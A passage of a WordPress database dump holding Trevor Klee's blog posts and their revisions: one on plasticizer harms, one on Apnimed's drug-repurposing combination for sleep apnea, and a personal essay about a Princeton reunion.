href=\"https://substackcdn.com/image/fetch/$s_!rjTk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f7db91-a61b-4a61-a4d1-1103d92ec8d3_653x1239.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!rjTk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f7db91-a61b-4a61-a4d1-1103d92ec8d3_653x1239.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!gtaB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd05dda52-2cf8-4d9e-a9a2-4e507524b5ee_639x1149.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!gtaB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd05dda52-2cf8-4d9e-a9a2-4e507524b5ee_639x1149.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!F5rQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b686395-425a-4a7f-8615-219482e01c83_638x1432.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!F5rQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b686395-425a-4a7f-8615-219482e01c83_638x1432.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!6rXe!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb640f143-7173-44bd-8554-efc102c2a356_636x271.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!6rXe!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb640f143-7173-44bd-8554-efc102c2a356_636x271.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/@trevorklee\"></a></p>\n<!-- /wp:paragraph -->','The evidence on plasticizer health harms','','publish','closed','closed','','the-evidence-on-plasticizer-health-harms','','','2025-07-03 19:45:02','2025-07-03 19:45:02','',0,'https://trevorklee.com/?page_id=528',0,'page','',0),
(529,1,'2025-07-03 19:45:02','2025-07-03 19:45:02','<!-- wp:paragraph -->\n<p><em>Someone asked me what high quality evidence I had that plasticizers were bad (i.e. why I’m developing my&nbsp;<a href=\"https://neutraoat.com/\">NeutraOat</a>&nbsp;supplement to combat them). So, I asked ChatGPT’s Deep Research to generate a list summarizing the health effects of all the plasticizers in PlasticList, along with evidence and confidence levels. I added examples from PlasticList of where high levels of the plasticizers were found.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Usually, I’d shy away from an AI-generated post, but I don’t think I could do that much better of a job than ChatGPT. I think the post turned out well, even though it’s mostly AI generated. Let me know what you think and if you find this informative or just annoying.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://docs.google.com/document/d/1e_j0MwK1AsI2b_-cXSXxn8BokUIelEkBeGadCwoFXHs/edit?usp=sharing\">Link to table in Google Docs</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!FNEc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45d238a3-c38d-4901-bcbe-3909c0de32fa_646x1366.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!FNEc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F45d238a3-c38d-4901-bcbe-3909c0de32fa_646x1366.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!rjTk!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f7db91-a61b-4a61-a4d1-1103d92ec8d3_653x1239.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!rjTk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F14f7db91-a61b-4a61-a4d1-1103d92ec8d3_653x1239.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!gtaB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd05dda52-2cf8-4d9e-a9a2-4e507524b5ee_639x1149.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!gtaB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd05dda52-2cf8-4d9e-a9a2-4e507524b5ee_639x1149.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!F5rQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b686395-425a-4a7f-8615-219482e01c83_638x1432.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!F5rQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4b686395-425a-4a7f-8615-219482e01c83_638x1432.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!6rXe!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb640f143-7173-44bd-8554-efc102c2a356_636x271.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!6rXe!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb640f143-7173-44bd-8554-efc102c2a356_636x271.png\" alt=\"\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://substack.com/@trevorklee\"></a></p>\n<!-- /wp:paragraph -->','The evidence on plasticizer health harms','','inherit','closed','closed','','528-revision-v1','','','2025-07-03 19:45:02','2025-07-03 19:45:02','',528,'https://trevorklee.com/?p=529',0,'revision','',0),
(530,1,'2025-07-03 19:45:59','2025-07-03 19:45:59','<!-- wp:paragraph -->\n<p>Interesting news coming out of my neck of the woods. Apnimed is a small biotech out of Cambridge, funded by local VCs, who’ve combined aroxybutynin and atomoxetine and had seemingly good results in a phase 3 trial of obstructive sleep apnea (i.e. snoring that wakes you up).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Aroxybutynin is the enantiomeric form of oxybutynin, which is an anti-muscarinic used for overactive bladder. Enantiomers, which I’ve written about before i<a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\">n the context of omeprazole and esomeprazole</a>, are nominally chemically different forms of molecules that are really just clever ways to create patents on existing drugs. Anti-muscarinic drugs have a variety of effects, such as being half of a different, repurposed combination that I wrote about, <a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing\">xanomeline/trospium</a> for schizophrenia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!f4Qd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61f9bde7-674b-48f1-ac87-5f1a76a1fb1b_864x1920.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!f4Qd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61f9bde7-674b-48f1-ac87-5f1a76a1fb1b_864x1920.jpeg\" alt=\"Image\" title=\"Image\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Atomoxetine is a selective norepinephrine uptake inhibitor (SNRI) used for ADHD treatment, which you might know better as Strattera. The two of these might seem like a strange combination for sleep apnea, but the argument seems to be that sleep apnea is caused by relaxation of one of the tongue muscles, the genioglossus, during non-REM sleep, and by relaxation of the pharynx, the throat muscle, during REM sleep. This tongue muscle can be tightened by activation of the adrenergic drive by an SNRI stimulant, and the pharynx can be tightened by application of an anti-muscarinic. Also, perhaps more relevantly, stimulants tend to wake you up, and antimuscarinics, like Benadryl, tend to make you sleepy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like many ideas in the repurposing space, this one has a long, bumpy history. Atomoxetine&nbsp;<a href=\"https://sci-hub.kvnp.top/10.1016/j.sleep.2007.07.013\">was tested for sleep apnea</a>&nbsp;in the 2000s by Eli Lilly, the original patent holder. It worked, but it also tended to wake people up, which was counterproductive. 10 years later, a sleep scientist at Brigham and Women’s, Luigi Taranto-Montemurro, combined&nbsp;<a href=\"https://www.atsjournals.org/doi/epdf/10.1164/rccm.201808-1493OC?role=tab\">oxybutynin with atomoxetine</a>, drawing from some recent rat studies showing the connection between the genioglossus and muscarinic activation<a href=\"https://trevorklee.substack.com/p/another-entry-for-the-repurposing#footnote-1-163936900\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He and his postdoc advisor, Andrew Wellman, spun this out with the help of a veteran pharma guy, Larry Miller, who apparently has&nbsp;<em>9</em>&nbsp;pharma startups under his belt, according to his profile on the Apnimed website. Dr. Miller then helped T-M and Wellman pull the veteran move of replacing oxybutynin with aroxybutynin, supposedly to reduce the dose of the antimuscarinic and side effects but really to shore up the patent, as oxybutynin is a generic but aroxybutynin is not<a href=\"https://trevorklee.substack.com/p/another-entry-for-the-repurposing#footnote-2-163936900\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With Larry Miller’s network, reputation, and experience, Apnimed, as the new company was now known, zoomed through the pharma development process, by pharma standards, at least. I mean, they started in 2018, and it’s now 2025, with a phase 3 done and $142 million raised. They’ll probably be ready to sell this year. That’s pretty fast.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What does this mean for sleep apnea? Eh, only so much. The combo works, but it’s worse than a CPAP machine and about as good as a dental appliance. The side effect profile isn’t nothing, given&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC10765395/#sec15\">a 12% discontinuation rate over 4 weeks</a>&nbsp;and the association of&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC7921664/\">longterm antimuscarinic use with dementia</a>. The only sleep apnea sufferers who will use this treatment are people who have failed out of other treatments (i.e. CPAP, weight loss, and dental appliance).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this does mean another success for combos and drug repurposing. Huzzah!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/another-entry-for-the-repurposing#footnote-anchor-1-163936900\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yeah, this seems backwards to me, too. The original papers claim that muscarinic activation is connected to the genioglossus, and later papers claim that, no, muscarinic activation is about the pharynx, and adrenergic activation is connected to the genioglossus. My take is that there aren’t clear demarcations between which pathway relates to which muscle, and the mechanisms cited are not nearly as clear as they’re pretending.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/another-entry-for-the-repurposing#footnote-anchor-2-163936900\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Side effects with aroxybutynin:&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC10765395/#sec15\">24% dry mouth</a>. Side effects with oxybutynin:&nbsp;<a href=\"https://www.accessdata.fda.gov/spl/data/f0492e82-8867-4fe5-e053-2995a90a2a22/f0492e82-8867-4fe5-e053-2995a90a2a22.xml#section-6\">35% dry mouth</a>. Statistical difference? Questionable at best.</p>\n<!-- /wp:paragraph -->','Another entry for the repurposing files','','publish','closed','closed','','another-entry-for-the-repurposing-files','','','2025-07-03 19:45:59','2025-07-03 19:45:59','',0,'https://trevorklee.com/?page_id=530',0,'page','',0),
(531,1,'2025-07-03 19:45:59','2025-07-03 19:45:59','<!-- wp:paragraph -->\n<p>Interesting news coming out of my neck of the woods. Apnimed is a small biotech out of Cambridge, funded by local VCs, who’ve combined aroxybutynin and atomoxetine and had seemingly good results in a phase 3 trial of obstructive sleep apnea (i.e. snoring that wakes you up).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Aroxybutynin is the enantiomeric form of oxybutynin, which is an anti-muscarinic used for overactive bladder. Enantiomers, which I’ve written about before i<a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\">n the context of omeprazole and esomeprazole</a>, are nominally chemically different forms of molecules that are really just clever ways to create patents on existing drugs. Anti-muscarinic drugs have a variety of effects, such as being half of a different, repurposed combination that I wrote about, <a href=\"https://trevorklee.substack.com/p/karuna-therapeutics-a-drug-repurposing\">xanomeline/trospium</a> for schizophrenia.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!f4Qd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61f9bde7-674b-48f1-ac87-5f1a76a1fb1b_864x1920.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!f4Qd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F61f9bde7-674b-48f1-ac87-5f1a76a1fb1b_864x1920.jpeg\" alt=\"Image\" title=\"Image\"/></a></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Atomoxetine is a selective norepinephrine uptake inhibitor (SNRI) used for ADHD treatment, which you might know better as Strattera. The two of these might seem like a strange combination for sleep apnea, but the argument seems to be that sleep apnea is caused by relaxation of one of the tongue muscles, the genioglossus, during non-REM sleep, and by relaxation of the pharynx, the throat muscle, during REM sleep. This tongue muscle can be tightened by activation of the adrenergic drive by an SNRI stimulant, and the pharynx can be tightened by application of an anti-muscarinic. Also, perhaps more relevantly, stimulants tend to wake you up, and antimuscarinics, like Benadryl, tend to make you sleepy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like many ideas in the repurposing space, this one has a long, bumpy history. Atomoxetine&nbsp;<a href=\"https://sci-hub.kvnp.top/10.1016/j.sleep.2007.07.013\">was tested for sleep apnea</a>&nbsp;in the 2000s by Eli Lilly, the original patent holder. It worked, but it also tended to wake people up, which was counterproductive. 10 years later, a sleep scientist at Brigham and Women’s, Luigi Taranto-Montemurro, combined&nbsp;<a href=\"https://www.atsjournals.org/doi/epdf/10.1164/rccm.201808-1493OC?role=tab\">oxybutynin with atomoxetine</a>, drawing from some recent rat studies showing the connection between the genioglossus and muscarinic activation<a href=\"https://trevorklee.substack.com/p/another-entry-for-the-repurposing#footnote-1-163936900\">1</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>He and his postdoc advisor, Andrew Wellman, spun this out with the help of a veteran pharma guy, Larry Miller, who apparently has&nbsp;<em>9</em>&nbsp;pharma startups under his belt, according to his profile on the Apnimed website. Dr. Miller then helped T-M and Wellman pull the veteran move of replacing oxybutynin with aroxybutynin, supposedly to reduce the dose of the antimuscarinic and side effects but really to shore up the patent, as oxybutynin is a generic but aroxybutynin is not<a href=\"https://trevorklee.substack.com/p/another-entry-for-the-repurposing#footnote-2-163936900\">2</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With Larry Miller’s network, reputation, and experience, Apnimed, as the new company was now known, zoomed through the pharma development process, by pharma standards, at least. I mean, they started in 2018, and it’s now 2025, with a phase 3 done and $142 million raised. They’ll probably be ready to sell this year. That’s pretty fast.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What does this mean for sleep apnea? Eh, only so much. The combo works, but it’s worse than a CPAP machine and about as good as a dental appliance. The side effect profile isn’t nothing, given&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC10765395/#sec15\">a 12% discontinuation rate over 4 weeks</a>&nbsp;and the association of&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC7921664/\">longterm antimuscarinic use with dementia</a>. The only sleep apnea sufferers who will use this treatment are people who have failed out of other treatments (i.e. CPAP, weight loss, and dental appliance).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But this does mean another success for combos and drug repurposing. Huzzah!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/another-entry-for-the-repurposing#footnote-anchor-1-163936900\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yeah, this seems backwards to me, too. The original papers claim that muscarinic activation is connected to the genioglossus, and later papers claim that, no, muscarinic activation is about the pharynx, and adrenergic activation is connected to the genioglossus. My take is that there aren’t clear demarcations between which pathway relates to which muscle, and the mechanisms cited are not nearly as clear as they’re pretending.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/another-entry-for-the-repurposing#footnote-anchor-2-163936900\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Side effects with aroxybutynin:&nbsp;<a href=\"https://pmc.ncbi.nlm.nih.gov/articles/PMC10765395/#sec15\">24% dry mouth</a>. Side effects with oxybutynin:&nbsp;<a href=\"https://www.accessdata.fda.gov/spl/data/f0492e82-8867-4fe5-e053-2995a90a2a22/f0492e82-8867-4fe5-e053-2995a90a2a22.xml#section-6\">35% dry mouth</a>. Statistical difference? Questionable at best.</p>\n<!-- /wp:paragraph -->','Another entry for the repurposing files','','inherit','closed','closed','','530-revision-v1','','','2025-07-03 19:45:59','2025-07-03 19:45:59','',530,'https://trevorklee.com/?p=531',0,'revision','',0),
(532,1,'2025-07-03 19:46:41','2025-07-03 19:46:41','<!-- wp:paragraph -->\n<p>When former Chinese Premier Zhou Enlai was asked in the 1970s about his evaluation of the impact of the French Revolution, he supposedly responded, “It’s too soon to tell”<a href=\"https://trevorklee.substack.com/p/10-years-out-from-princeton-and-headed#footnote-1-164117938\">1</a>. This is similar to how I feel about the impact of college on me. I’m going to my 10 year Princeton reunion this weekend, and I feel like I finally am able to start to understand how I was affected by Princeton.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For a long time, the strongest, most overriding feeling I had about my time at Princeton was disappointment. I came into Princeton passionate, smart, well-read, and angry about how the world wasn’t up to my standards. I wanted to overturn the established order, and I thought Princeton would help me do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was, in retrospect, naive. Princeton was never a school for radicals. In its heyday, it had been a finishing school, preparing students to take their place among the elite of society. Some parts of Princeton still took that charge seriously, like the surprisingly strong computer science and math faculties, who prided themselves on a rigorous education that would help Princetonians take their place in the top graduate programs or most prestigious companies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!YnLI!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb21d9d3b-daea-4f22-8185-bb4eb5f9dea4_432x548.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!YnLI!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fb21d9d3b-daea-4f22-8185-bb4eb5f9dea4_432x548.jpeg\" alt=\"Princeton Students. 1960s | Preppy boys, Ivy league style, Preppy men\" title=\"Princeton Students. 1960s | Preppy boys, Ivy league style, Preppy men\"/></a><figcaption class=\"wp-element-caption\">The actual number of “breathlessly aristocratic” (to use Fitzgerald’s phrase) people at Princeton is limited. The vast majority of kids are anxious strivers. The campus still looks like this, though.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But most of Princeton had forgotten even that. Princeton suffered from the same metastasis as the rest of academia, as a growing research program and even more rapidly growing administration took energy away from the cultivation of undergraduates. My experience with Princeton faculty was mostly that of neglect, and with administration, active antagonism.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My classmates, by contrast, were neither neglectful nor antagonistic. Most of them cared, a lot, about good grades on the weekdays and getting drunk on the weekends. I was the exception, in that I cared about neither of those. I didn’t see the point of getting good grades in classes I didn’t care about: I had done that in high school, and look where that had landed me (Princeton). I also didn’t particularly want to get drunk and play beer pong: I had seen alcohol and drugs consume my friends in high school, and I didn’t like it then, either.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Combine this with my naturally rebellious personality, which, believe it or not, has softened over time, and I was a bad fit at Princeton. I had some friends, for sure, and even a professor or two who liked me. But I also pissed off a lot of people. A short list:<br><br>1. The dance community, by making it clear that I considered myself to be a better dancer and choreographer than them and also having zero interest in ingratiating myself</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. The charity/volunteer community, by campaigning to measure the efficacy of their efforts</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. My junior paper advisor, by first refusing to listen to his advice on my research, and then, when my research turned out well, refusing to let him get authorship on a paper</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. My senior thesis advisor, by refusing to listen to his advice on my research. There’s no second part to this, because this one didn’t turn out so well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By the time I graduated Princeton, I had run into every metaphorical wall that existed at Princeton. I had pissed off or been pissed off by the extracurricular community, the study abroad community, the research community, and the magazine writing community (failed coup, don’t ask). Part of this was me: I was an angry young man. But part of this was me being an intellectual radical in a place that wasn’t friendly towards intellectuals or radicals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Ly2q!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F996fb5b3-d16a-4913-8953-886bfe85991e_1062x991.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Ly2q!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F996fb5b3-d16a-4913-8953-886bfe85991e_1062x991.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is from my humor magazine’s parody of our student daily newspaper, the Daily Princetonian in my sophomore year. I also had two other pieces in the fake newspaper, both pieces making fun of the Daily Princetonian’s house style so probably even less funny than this one. Also, that’s a picture of me, but for some reason we insisted on using fake names.&nbsp;<a href=\"https://issuu.com/tigermagazine/docs/tigerprincetonian2013\">Link if you want to read the whole thing</a>.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I was unable to think about Princeton for a long time afterwards without strong feelings of anger and disappointment. Even when catching up with old Princeton friends, I would still bitch about Princeton during our reminiscences. It’s only recently that I’ve been able to remember Princeton without a tinge of regret, even if it’s just for a moment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me take advantage of that now. I can safely say that who I am today was shaped by my college experience. College was the first time I was ever around people who weren’t middle class white people from Connecticut or Rhode Island for an extended period of time. It was also the first time I failed an exam, the first time I had a bad breakup, and the first time I flew on a plane by myself.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>College taught me to work hard, and to find the joy in it. It also taught me the limits of my abilities, what it was like to be a small fish in a big pond, and how it felt to deliberately forge an identity without your representation preceding you. I met classmates with famous last names and professors who were regularly quoted in the&nbsp;<em>New York Times</em>, and found I didn’t have much in common with any of them. I had a best friend, several girlfriends, and nobody who I could call a mentor of any sort.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>College gave me space and time away from the place of my upbringing and the people who raised me, and a chance to reexamine how my early years shaped me. I realized ways in which I was very lucky, and ways in which I wasn’t. I felt sometimes grateful and sometimes sorry for myself, and had to learn to live with both.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In the end, if I knew what I knew now, would I attend Princeton all over again? Definitely not. There were schools and places that would have been a way better fit for me. But I did go to Princeton, from 2011-2015, and it defined who I am today in many ways. And now it’s been 10 years, and I’m going back.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/10-years-out-from-princeton-and-headed#footnote-anchor-1-164117938\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although&nbsp;<a href=\"https://quoteinvestigator.com/2025/04/02/early-tell/\">the exact history of the quote is disputed</a>.</p>\n<!-- /wp:paragraph -->','10 years out from Princeton and headed back','','publish','closed','closed','','10-years-out-from-princeton-and-headed-back','','','2025-07-03 19:46:41','2025-07-03 19:46:41','',0,'https://trevorklee.com/?page_id=532',0,'page','',0),
(533,1,'2025-07-03 19:46:41','2025-07-03 19:46:41','<!-- wp:paragraph -->\n<p>When former Chinese Premier Zhou Enlai was asked in the 1970s about his evaluation of the impact of the French Revolution, he supposedly responded, “It’s too soon to tell”<a href=\"https://trevorklee.substack.com/p/10-years-out-from-princeton-and-headed#footnote-1-164117938\">1</a>. This is similar to how I feel about the impact of college on me. I’m going to my 10 year Princeton reunion this weekend, and I feel like I finally am able to start to understand how I was affected by Princeton.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For a long time, the strongest, most overriding feeling I had about my time at Princeton was disappointment. I came into Princeton passionate, smart, well-read, and angry about how the world wasn’t up to my standards. I wanted to overturn the established order, and I thought Princeton would help me do it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was, in retrospect, naive. Princeton was never a school for radicals. In its heyday, it had been a finishing school, preparing students to take their place among the elite of society. Some parts of Princeton still took that charge seriously, like the surprisingly strong computer science and math faculties, who prided themselves on a rigorous education that would help Princetonians take their place in the top graduate programs or most prestigious companies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a 